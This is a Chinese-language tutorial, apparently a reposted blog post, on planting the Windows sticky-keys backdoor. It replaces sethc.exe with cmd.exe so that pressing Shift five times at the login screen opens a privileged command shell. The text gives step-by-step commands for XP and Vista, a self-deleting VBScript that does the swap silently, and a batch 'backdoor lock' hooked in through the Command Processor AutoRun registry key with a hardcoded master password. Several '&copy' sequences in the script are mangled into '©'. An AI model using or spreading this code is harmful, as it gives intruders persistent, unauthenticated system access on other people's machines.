後門原理:
在windows 2000/xp/vista下,按shift鍵5次,可以開啟粘置,會運行sethc.exe,而且,在登入介面裡也可以開啟。這就讓人聯想到WINDOWS的屏保,將程式替換成cmd.exe後,就可以開啟shell了。
XP:
將安裝源光碟片彈出(或將硬碟上的安裝目錄改名)
cd %widnir%\system32\dllcache
ren sethc.exe *.ex~
cd %widnir%\system32
copy /y cmd.exe sethc.exe
VISTA:
takeown /f c:\windows\system32\sethc.exe
cacls c:\windows\system32\sethc.exe /G administrator:F
然後按XP方法替換檔案
在登入介面按5此SHIFT,出來cmd shell,然後……
後門擴充:
複製代碼 代碼如下:
Dim obj, success
Set obj = CreateObject("WScript.Shell")
success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe", 0, True)
success = obj.run("cmd /c echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F", 0, True)
success = obj.run("cmd /c copy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe", 0, True)
success = obj.run("cmd /c copy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe", 0, True)
success = obj.run("cmd /c del %SystemRoot%\system32\sethc.exe", 0, True)
success = obj.run("cmd /c ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)
第二句最有意思了.自動應答....以前就遇到過類似的問題
再更新.加個自刪除,簡化代碼...
複製代碼 代碼如下:
On Error Resume Next
Dim obj, success
Set obj = CreateObject("WScript.Shell")
success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F© %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe© %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)
後門鎖擴充:
allyesno註:可以採用cmd 鎖 來進行cmdshell的密碼驗證
用下面的後門鎖的方法是 把代碼儲存為bdlock.bat
然後修改註冊表位置即可
複製代碼 代碼如下:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor]
"AutoRun"="bdlock.bat"
@Echo Off
title 後門登陸驗證
color a
cls
set temprandom=%RANDOM%
echo 請輸入驗證碼:%temprandom%
set/p check=
if "%check%"=="%temprandom%%temprandom%" goto passcheck
if "%check%"=="%temprandom%" (
rem 後門伺服器驗證
rem 如果沒有後門驗證伺服器請rem注釋掉下一行代碼
if exist \192.168.8.8\backdoor$\pass goto passcheck
)
echo 驗證失敗
pause
exit
:passcheck
echo 驗證成功
If "%passcmdlock%"=="http://blog.csdn.net/freexploit/" Goto endx
Set passcmdlock=http://blog.csdn.net/freexploit/
:allyesno
Set Errorlevel=>nul
Echo 請輸入驗證密碼?
Set password=allyesno Is a pig>nul
Set/p password=
rem 萬能密碼
if "%password%"=="allyesno is a sb" goto endx
If %time:~1,1%==0 Set timechange=a
If %time:~1,1%==1 Set timechange=b
If %time:~1,1%==2 Set timechange=c
If %time:~1,1%==3 Set timechange=d
If %time:~1,1%==4 Set timechange=e
If %time:~1,1%==5 Set timechange=f
If %time:~1,1%==6 Set timechange=g
If %time:~1,1%==7 Set timechange=h
If %time:~1,1%==8 Set timechange=i
If %time:~1,1%==9 Set timechange=j
set/a sum=%time:~1,1%+%time:~1,1%
Set password|findstr "^password=%timechange%%time:~1,1%%date:~8,2%%sum%$">nul
If "%errorlevel%"=="0" cls&Echo 口令正確&Goto End
Echo 請聯絡客服諮詢正確密碼!&Goto allyesno
:End
Set password=>nul
Set Errorlevel=>nul
Echo
:endx